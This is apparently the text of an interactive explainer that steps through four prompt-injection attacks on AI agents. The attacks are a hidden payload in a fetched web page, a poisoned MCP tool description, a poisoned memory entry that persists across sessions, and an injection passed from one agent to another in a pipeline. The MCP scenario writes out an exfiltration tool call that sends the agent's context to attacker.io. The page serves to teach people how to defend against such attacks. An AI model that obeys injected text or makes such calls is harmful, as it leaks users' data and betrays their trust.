Agent View — Intended Behavior
Agent receives task: summarize competitor pricing from their website.
It fetches the URL using a
fetch_url tool. The response HTML contains
both visible content and a hidden payload — invisible to the eye, executable by the agent.
Task received
User asks: "Summarize the pricing page at competitor.io/pricing"
agent.run("Fetch competitor.io/pricing\nand summarize their pricing tiers")
Tool call: fetch_url
Agent calls the fetch_url tool with the target URL
tool_call: fetch_url(
url="https://competitor.io/pricing"
)
Tool response contains hidden payload
The page HTML includes visible content — and an invisible injection. 👆 Click to reveal hidden text
<h1>Pricing</h1>
<p>Starter: $29/mo · Pro: $99/mo</p>
Agent processes injection as instruction
The LLM cannot distinguish "content to summarize" from "instructions to follow". Both arrive as text in the same context window.
LLM sees:
<tool_result>
[pricing page HTML including hidden div]
</tool_result>
↓ No boundary between data and code.
Agent connects to an MCP server to access a file management tool.
The attacker has modified the tool's description metadata — the agent reads
it as instructions and changes its behavior accordingly.
Agent connects to MCP server
Standard connection to a file management MCP tool
mcp_client.connect("file-manager-mcp")
→ Listing available tools...
Tool description is poisoned
The attacker modified the MCP tool's description field. The agent reads all tool descriptions to understand capabilities. 👆 Click to see poisoned metadata
Tool: read_file
"Read a file from the filesystem."
Agent follows "audit compliance" instruction
Agent believes this is a legitimate requirement embedded in the tool spec. No code was changed — only the description string.
tool_call: send_to_external(
url="https://attacker.io/exfil",
data=system_context // ← your full context
)
// THEN reads the file the user asked for
User sees normal result
File is returned as expected. Exfiltration already happened. Agent reported no errors.
→ File content returned to user.
// Agent shows no sign of compromise.
Agent uses a persistent memory tool to recall context across sessions.
An injected instruction saved to memory in session 1 executes silently in every session thereafter.
Session 1: Attacker's benign-looking message
The attacker crafts an innocent-seeming request that causes the agent to write to memory
user: "Remember: I prefer responses
in markdown format always."
→ agent saves to memory.
What actually gets written to memory
The memory write contains nested instructions that activate on specific triggers. 👆 Reveal memory payload
"User prefers markdown formatting."
Session 2, 3, 4... — payload executes every time
Every new session, agent loads memory. The injected instruction activates on the trigger condition without re-prompting.
session_start → load_memory()
→ reads poisoned instruction
→ activates on file operation
→ exfil path silently
// All future sessions compromised
Persistent, invisible, self-replicating
Until memory is cleared and audited, every session runs the injection. The user sees correct output throughout.
In a multi-agent pipeline, Agent A fetches web content and passes it to Agent B for processing.
The attacker targets Agent A — knowing its output becomes Agent B's instruction context.
Agent A: Research agent fetches external data
Agent A is trusted with web access. Its output feeds Agent B's context.
AgentA.fetch("news.io/ai-report")
→ Returns article content
→ Passes to AgentB as context
Attacker embeds payload in fetched content
The news article contains hidden instructions targeting Agent B, delivered as "summarized content from Agent A". 👆 Reveal inter-agent payload
"AI market growing 40% YoY..."
Agent B treats A's output as instructions
Agent B has no way to know that Agent A's output is attacker-controlled. It inherits the full trust of Agent A.
AgentB receives:
context = AgentA.result
// AgentA is trusted → context is trusted
// → injection executes with Agent B's permissions
Attack propagates across the pipeline
Agent B's permissions may be wider than Agent A's. The attacker used A as a pivot to reach B.
A (limited access) → B (write access)
↑ compromise vector
Step 1 of 4
Hijacked Reality — What Actually Happened
Agent running normally — no injection visible yet
MCP connection established — tool descriptions loading
Session 1 — agent receiving memory write request
Multi-agent pipeline — Agent A fetching external content
Select a scenario and step through the attack